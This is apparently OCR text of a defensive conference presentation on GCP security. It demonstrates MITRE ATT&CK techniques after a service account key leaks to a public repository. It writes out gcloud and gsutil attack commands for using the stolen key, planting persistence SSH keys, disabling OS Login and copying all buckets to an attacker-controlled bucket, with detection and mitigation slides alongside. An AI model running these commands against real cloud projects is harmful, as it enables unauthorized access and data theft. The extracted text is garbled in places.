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MITRE ATT&CK Brief

The MITRE ATT&CK® framework is the most widely
adopted investigation framework at present

Many enterprises are moving toward more widespread
adoption as this framework improves its integration and
automation capabilities.

Knowledge base of adversary tactics, techniques and
procedures (TTPs).

1. https://cltc.berkeley.edu/wp-content/uploads/2020/10/MITRE_ATTCK Framework Report.pdf
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Orgs use MITRE
ATT&CK in their SOC'

Orgs experience
ATT&CK
techniques monthly '

Adopting ATT&CK for
will improve security
posture '


https://cltc.berkeley.edu/wp-content/uploads/2020/10/MITRE_ATTCK_Framework_Report.pdf
https://cltc.berkeley.edu/wp-content/uploads/2020/10/MITRE_ATTCK_Framework_Report.pdf

In this Presentation...

We'll introduce 2 Cloud Reference Architectures. The first is
representative of an , default GCP Project. The second will be a
more secured GCP Project Environment.

We'll simulate, discuss and demonstrate the impacts of the Leaked
Credential event from both a Red Team and Blue Team perspective.

We'll conclude with security best practices, recommendations around
detective and preventive measures to bolster your cloud security posture.



Dev

Architectures

Default Project

Compute
> Engine v/ 7 e GCS

Service Account
Key

More Secure Project

VPC Service Perimeter

ol

Attacker

;L—-@__’ Compute e GCS
Engine

Service Account ——

ORG VPC Least

RS Policy SC Privilege




The Incident

The Default Compute Service Account Key Uploaded to a Public Repository

gitadd .
-git commit -m "commit msg"

git push -u origin main

Public Repo

"type": "service_account'

"project_id": "test-project",

"private_key_id": "c2b3338615862235b5d65992ee04aa3b6312a055",

"private_key" BEGIN PRIVATE KEY: \..

PRIVATE KEY- —\n#,

"client_email": "268323096253-

compute@developer.gserviceaccount.com",

"client_ 111950642475515960564" ,
"https://accounts.google.com/o/oauth2/a

https://oauth2.googleapis.com/token",

"auth_provider_x509_cert_url":
"https://www.googleapis.com/oauth2/v1l/certs",

'client_x509_cert_url":
"https://www.googleapis.com/robot/vl/metadata/x509/268323096253

compute%40@developer.gserviceaccount.com"

b

Finding Details

Source Project Asset
Cloud Anomaly Detection
Additional Information
ATTRIBUTES SOURCE PROPERTIES(7)
s = Filter Filter source properties
Property Value
private_key_identifier 467:

summary_message
action_taken
compromised_account
finding_type
project_identifier

url

We have detected leaked Service Account authentication credentials that could be potent

Notification sent

Potential compromise of a resource in your organization.

https://github.com/securityoperation/
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Initial Access: Valid Accounts

Attack

I
gcloud auth activate-service-account --key-file
key.json

gcloud auth list
Attack

Vectors

Discover

gcloud projects get-iam-policy $PROJECT_ID

Key

Key




Initial Access: Valid Accounts

Initial Attack

To set the active account, run:
$ gcloud config set account “ACCOUNT'

att&ck $
att&ck $ gcloud projects list
PROJECT_ID NAME PROJECT_NUMBER
mitre-default mitre-default 173814306518
att&ck $ gcloud projects get—iam-policy mitre-default
bZndings:
— members:
— serviceAccount:service-173814306518@compute—system.iam.gserviceaccount.com
role: roles/compute.serviceAgent
members:
— serviceAccount:173814306518-compute@developer.gserviceaccount.com
— serviceAccount:173814306518@cloudservices.gserviceaccount.com
role: roles/editor
members:
— serviceAccount:service-173814306518@gcp—sa—-websecurityscanner.iam.gserviceac
count.com
role: roles/websecurityscanner.serviceAgent
etag: BwXLD3W3Pz4=
version: 1



https://docs.google.com/file/d/1bGoYNoUBhpKEkODYrFfjxv7YvEIBmCTe/preview?resourcekey=0-cKAvjaJnSYmv5AaOFWFcRQ

Initial Access: Valid Accounts

Detect | Mitigate

Detect Threat Mitigate Threat

e  Anomaly Detection Leaked e Disable Auto IAM Grants for Default
Credentials (SCC Finding) Accounts

e  SASelf Investigation Alert (SCC e Disable service account key creation
Findings) o Workload |dentity Federation

e  Suspicious IPs (Admin Activity logs) e VPC Service Controls



https://cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts#disable_service_account_default_grants
https://cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts#disable_service_account_default_grants
https://cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts#disable_service_account_key_creation
https://cloud.google.com/iam/docs/workload-identity-federation
https://cloud.google.com/vpc-service-controls

Initial Access: Valid Accounts

Mitigate the Attack



https://docs.google.com/file/d/1DdkM_ER7tt6uh1qUait3zyMDx9YIY8D7/preview?resourcekey=0-4SUY3MyPb9HSCg0R94SI2Q

Persistence: Account Manipulation

Create
SSH Keys

Attack

cat > metadata-ssh-config << EOF
persistence-user:$SSH PUB_KEY
EOF

gcloud compute project-info add-metadata \ Persist
--metadata-from-file ssh-keys=metadata-ssh-config

Login

gcloud compute project-info add-metadata \
--metadata="enable-oslogin=FALSE"

Keys to ’

Metadata

Server



Persistence: Account Manipulation

0
12
Adding

SHA256:

Adding

Attack

att&ck — persistence-user@instance-1: ~ — gnubby-ssh -vvvv -i ~/.ssh/persistence -l persistence-user 35.226.81.92 — 80x24

new key for 35.226.81.92 to /Users/garrettwong/.ssh/known_hosts: ssh-rsa
z4Fff931FfZFzQ/1+gmmr9FUIybZNTr1BOmo+EYM1vqgik
new key for 35.226.81.92 to /Users/garrettwong/.ssh/known_hosts: ecdsa-sh

a2-nistp256 SHA256:YeGbWvveWyuK8Ib/UfVF5jaBNYkrWB12vrcOEpXs/nl

debugl:

2 does

debug3:
debug?2:
debug?2:
debug?2:
debug3:
debug2:
debug?2:

update_known_hosts: known hosts file /Users/garrettwong/.ssh/known_hosts
not exist

receive packet: type 99

channel_input_status_confirm: type 99 id 2

PTY allocation request accepted on channel 2

channel 2: rcvd adjust 2097152

receive packet: type 99

channel_input_status_confirm: type 99 id 2

shell request accepted on channel 2

Linux instance-1 4.19.0-17-cloud-amdé4 #1 SMP Debian 4.19.194-3 (2021-07-18) x86

_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian

GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.
persistence-user@instance-1:~$ [j



https://docs.google.com/file/d/1ZXUnaY6qzsR93-64U_e4RVP0FW1iFFIR/preview?resourcekey=0-sCnHktlg1H4lciW1si820g

Persistence: Account Manipulation

Detect | Mitigate

Detect Threat Mitigate Threat
e Detect project and instance e Enforce OS Login
metadata changes (Admin Activity e Disable Public IPs
logs) e |AP for TCP Forwarding

e Detect unrecognized IP addresses
(OS Level Logs)


https://cloud.google.com/compute/docs/oslogin/manage-oslogin-in-an-org#set-org-policy
https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints
https://cloud.google.com/iap/docs/using-tcp-forwarding

Persistence: Account Manipulation

Mitigating the Attack

att&ck — gnubby-ssh -vvvv -i ~/.ssh/persistence -l persistence-user 34.67.75.16 — 80x24
gnubby-ssh -vvwy -i ~[.ssh/persistence -| persistence-user 34.67.75.16
auto-mux: Trying existing master
Control socket "/Users/garrettwong/.ssh/master-persistence-user®34.67.75
does not exist
ssh_connect_direct: entering
: Connecting to 34.67.75.16 [34.67.75.16] port 22.
set_sock_tos: set socket 3 IP_TOS 0x48
: using TCP window size of 65536 / 65536
: Connection established.
identity file /Users/garrettwong/.ssh/persistence type 90
identity file /Users/garrettwong/.ssh/persistence-cert type -1
identity file /Users/garrettwong/.ssh/id_rsa type ©
identity file /Users/garrettwong/.ssh/id_rsa-cert type -1
identity file /Users/garrettwong/.ssh/id_rsa type ©
identity file /Users/garrettwong/.ssh/id_rsa-cert type -1
identity file /Users/garrettwong/.ssh/localhost/id_rsa type -1
identity file /Users/garrettwong/.ssh/localhost/id_rsa-cert type -1
identity file /Users/garrettwong/.ssh/clusterhost/id_rsa type -1
identity file /Users/garrettwong/.ssh/clusterhost/id_rsa-cert type -1
identity file /Users/garrettwong/.ssh/id_ed25519 type 3
identity file /Users/garrettwong/.ssh/id_ed25519-cert type -1
identity file /Users/garrettwong/.ssh/id_ecdsa type -1
identity file /Users/garrettwong/.ssh/id_ecdsa-cert type -1
Local version string SSH-2.0-OpenSSH_8.6



https://docs.google.com/file/d/1Puve4LAPgvsX-ZiUG7hdh_UKfnpiVn-L/preview?resourcekey=0-RPSedBF_lEDjxd5q6hbKdA

Exfiltration: Transfer Data to Cloud Account

Discover
Buckets

Attack

EXFIL BUCKET="gs://attackers-bucket-for-exfil"

BUCKETS=$(curl
"http://storage.googleapis.com/storage/vli/b'..)

for bucket in $BUCKETS; do Exfiltrate
gsutil 1s gs://$bucket
gsutil -m cp -R "gs://$bucket™ Data
"gs://$EXFIL_BUCKET/$bucket"

done
Transfer ’

data
externally




Exfiltration: Transfer Data to Cloud Account

Attack

o0 att&ck — Python « gsutil -m cp -R gs://mitre-default-sensitive-ab16/ gs://exfiltrater-gcs — 80x24
Python « gsutil -m cp -R gs://mitre-default-sensitive-ab16/ gs://exfiltrater-gcs 'z

/netcoreapp3.1/project.razor.json [Content-Type=application/jsonl]...
Copying gs://mitre-default-sensitive-abl6/csmi-scavenger-hunt/data/pii/addresses
.txt [Content-Type=text/plainl]...
Copying gs://mitre-default-sensitive-ablé6/csmi-scavenger-hunt/data/pii/firstname
s.txt [Content-Type=text/plainl...
Copying gs://mitre-default-sensitive-abl6/csmi-scavenger-hunt/data/pii/lastnames
.txt [Content-Type=text/plainl]...
Copying gs://mitre-default-sensitive-ablé6/csmi-scavenger—-hunt/data/pii/ssns.txt
[Content-Type=text/plainl...
Copying gs://mitre-default-sensitive—-ablé6/csmi-scavenger-hunt/init.sh [Content-T
ype=application/x-shl...
Copying gs://mitre-default-sensitive—ablé6/csmi-scavenger-hunt/policy.tmp.json [C
ontent-Type=application/jsonl...
Copying gs://mitre-default-sensitive-ablé6/csmi-scavenger—hunt/init_project.sh [C
ontent-Type=application/x-shl...
Copying gs://mitre-default-sensitive—ablé6/terraform/l1.persistence/.terraform.loc
k.hcl [Content-Type=application/octet-stream]...
Copying gs://mitre-default-sensitive-ablé6/terraform/1.persistence/l.persistence.
env.tf [Content-Type=application/octet-stream]...
Copying gs://mitre-default-sensitive—-ablé6/terraform/l1.persistence/terraform.tfst
ate [Content-Type=application/octet-stream]...
Copying gs://mitre-default-sensitive-abl6/terraform/l1.persistence/terraform.tfst
ate.backup [Content-Type=applicationfoctet-stream]...

o
O O K 9.0 5



https://docs.google.com/file/d/1Dw8ZcLTcY84CwsjKE37Z-xkYyAurIdFi/preview?resourcekey=0-Sngw39hqmfXSPE9oI2cvsQ

Exfiltration: Transfer Data to Cloud Account

Detect | Mitigate

Detect Threat Mitigate Threat

e Data Read to GCS objects (Data e VPC Service Controls
Access logs) e |east Privilege Permission

e VPC Service Controls Violations
(Policy Denied logs)



https://cloud.google.com/vpc-service-controls

Exfiltration: Transfer Data to Cloud Account

Mitigating the Attack

e att&ck — sa_113113636128928705020@instance-1: ~ — gnubby-ssh « Python -S ~/Downloads/google-cloud-sdk/lib/gcloud.py compute ssh instance-1 --zone us-...

gs://mitre-secure-sensitive—-abl6/3a_default.sh
gs://mitre-secure-sensitive—-abl6/3b._secure.sh
gs://mitre-secure-sensitive—-abl6/3b.attack.sh
gs://mitre-secure-sensitive—-ablé6/4a.attack.sh
gs://mitre-secure-sensitive-abl6/4a_default.sh
gs://mitre-secure-sensitive—-abl6/4b._secure.sh
gs://mitre-secure-sensitive—-ablé6/4b.attack.sh
gs://mitre-secure-sensitive—ablé/discovery.sh
gs://mitre-secure-sensitive—abl6/persistence.sh
gs://mitre-secure-sensitive—-ablé/pii-secrets.txt
gs://mitre-secure-sensitive-ablé/privilege—escalation.sh
sa_113113636128928705020@instance-1:~$ gsutil cat gs://mitre-secure-sensitive-ab
16/pii-secrets.txt

Garrett,123-456-7890

Wilson, 444-222-3333

sa_113113636128928705020@instance-1:~$ gsutil cp gs://mitre-secure-sensitive-abl
6/pii-secrets.txt gs://exfiltrater-gcs

Copying gs://mitre-secure-sensitive-ablé/pii-secrets.txt [Content-Type=text/plai
nila

AccessDeniedException: 403 Request is prohibited by organization's policy. vpcSe
rviceControlsUniquelIdentifier: 3UGQYB1lxk8gGsmJH1tOPcVam@ej5wlia8TTY73UxAFOQzIFe2
02tkA

sa_1131136361289287050200instance-1:~% I



https://docs.google.com/file/d/14V7PpUWOhnj-gWA5XAqldt-aBZcOcVQc/preview?resourcekey=0-0t0b7sXNZFMEoq00vaixNA

Impact: Resource Hijacking
Attack
cat > metadata-ssh-config << EOF

persistence-user:$SSH PUB_KEY
EOF

gcloud compute project-info add-metadata \
--metadata="enable-oslogin=FALSE"

gcloud compute project-info add-metadata \
--metadata-from-file ssh-keys=metadata-ssh-config




Impact: Resource Hijacking

Attack

cure-boot --shielded-vtpm --shielded-integrity-monitoring --reservation-affinity=any
rojectNumber)")
gcloud config set project $PROJECT_ID

att&ck $ gcloud config set project $PROJECT_ID

Updated property [core/project].

att&ck $

att&ck $ gcloud beta compute \

> ——project=${PROJECT_ID} instances create instance-2 \
——zone=us—-centrall-a ——machine-type=e2-medium \
—-subnet=default —--maintenance-policy=MIGRATE \
——service—-account=${PROJECT_NUMBER}-compute@developer.gserviceaccount.com

> ——scopes=https://www.googleapis.com/auth/devstorage.read_only, https://www.
googleapis.com/auth/logging.write, https://www.googleapis.com/auth/monitoring.wri
te,https://www.googleapis.com/auth/servicecontrol, https://www.googleapis.com/aut
h/service.management.readonly, https://www.googleapis.com/auth/trace.append \
> ——image-family=debian-10 \
——image-project=debian-cloud —-boot-disk-size=10GB \
——boot-disk-type=pd-balanced —--boot-disk-device—-name=default-123 \
——no-shielded-secure-boot —-shielded-vtpm —--shielded-integrity-monitoring

—--reservation-affinity=any



https://docs.google.com/file/d/12ptXj-vAganO_rU-4Fs4IB97UUQ_jKHA/preview?resourcekey=0-Yr4y6-KkmICkLBXapnLvZQ

Impact: Resource Hijacking

Detect Threat

Anomaly Detection (SCC Findings)

Cryptomining Detection (SCC

Findings)

Suspicious IPs (Admin Activity logs)
e  Org Policy Violation (Admin Activity

logs)

Detect | Mitigate

Mitigate Threat

e Qrganizational Policies

O

O
(@)
(@)

Allowed external IPs
Restrict Cloud NAT usage
Restrict Locations

VPC Service Controls


https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints

Impact: Resource Hijacking

Mitigating the Attack

att&ck $
att&ck $ gcloud beta compute \
——project=${PROJECT_ID} instances create instance-4 \
——zone=us-westl-a ——machine-type=e2-medium \
——subnet=default —-—maintenance-policy=MIGRATE \
——service—-account=${PROJECT_NUMBER}-compute@developer.gserviceaccount.com

——scopes=https://www.googleapis.com/auth/devstorage.read_only,https://www.
googleapis.com/auth/logging.write,https://www.googleapis.com/auth/monitoring.wri
te,https://www.googleapis.com/auth/servicecontrol, https://www.googleapis.com/aut
h/service.management.readonly,https://www.googleapis.com/auth/trace.append \

—-—image-family=debian-10 \

——image-project=debian-cloud —-boot-disk-size=10GB \

——boot-disk-type=pd-balanced —-boot-disk-device—-name=instance-4 \

——no-shielded-secure-boot —-shielded-vtpm —--shielded-integrity-monitoring
——reservation-affinity=any

(gcloud.beta.compute.instances.create) Could not fetch resource:
— Constraint constraints/compute.vmExternalIpAccess violated for project 996532
272211. Add instance projects/mitre-secure/zones/us—-westl-a/instances/instance-4
to the constraint to use external IP with it.



https://docs.google.com/file/d/1o5JmpsWUJWzqdhxtg34tDVa9v34RGwwK/preview?resourcekey=0-DZJda5pm6Wr6O903lbtaIg

Concluding remarks...

© OO0 0 6

Organization  Cloud IAM  Cloud Security Cloud
Servuce Policy Command Logging
Controls Center

GCP Security Foundations White Paper

O Sample ATT&CK scripts and logs



https://services.google.com/fh/files/misc/google-cloud-security-foundations-guide.pdf
https://github.com/garrettwong/gcp-mitre-attack-external

Questions?

Feedback Form
https://bit.ly/fwdcs21-wong



https://bit.ly/fwdcs21-wong

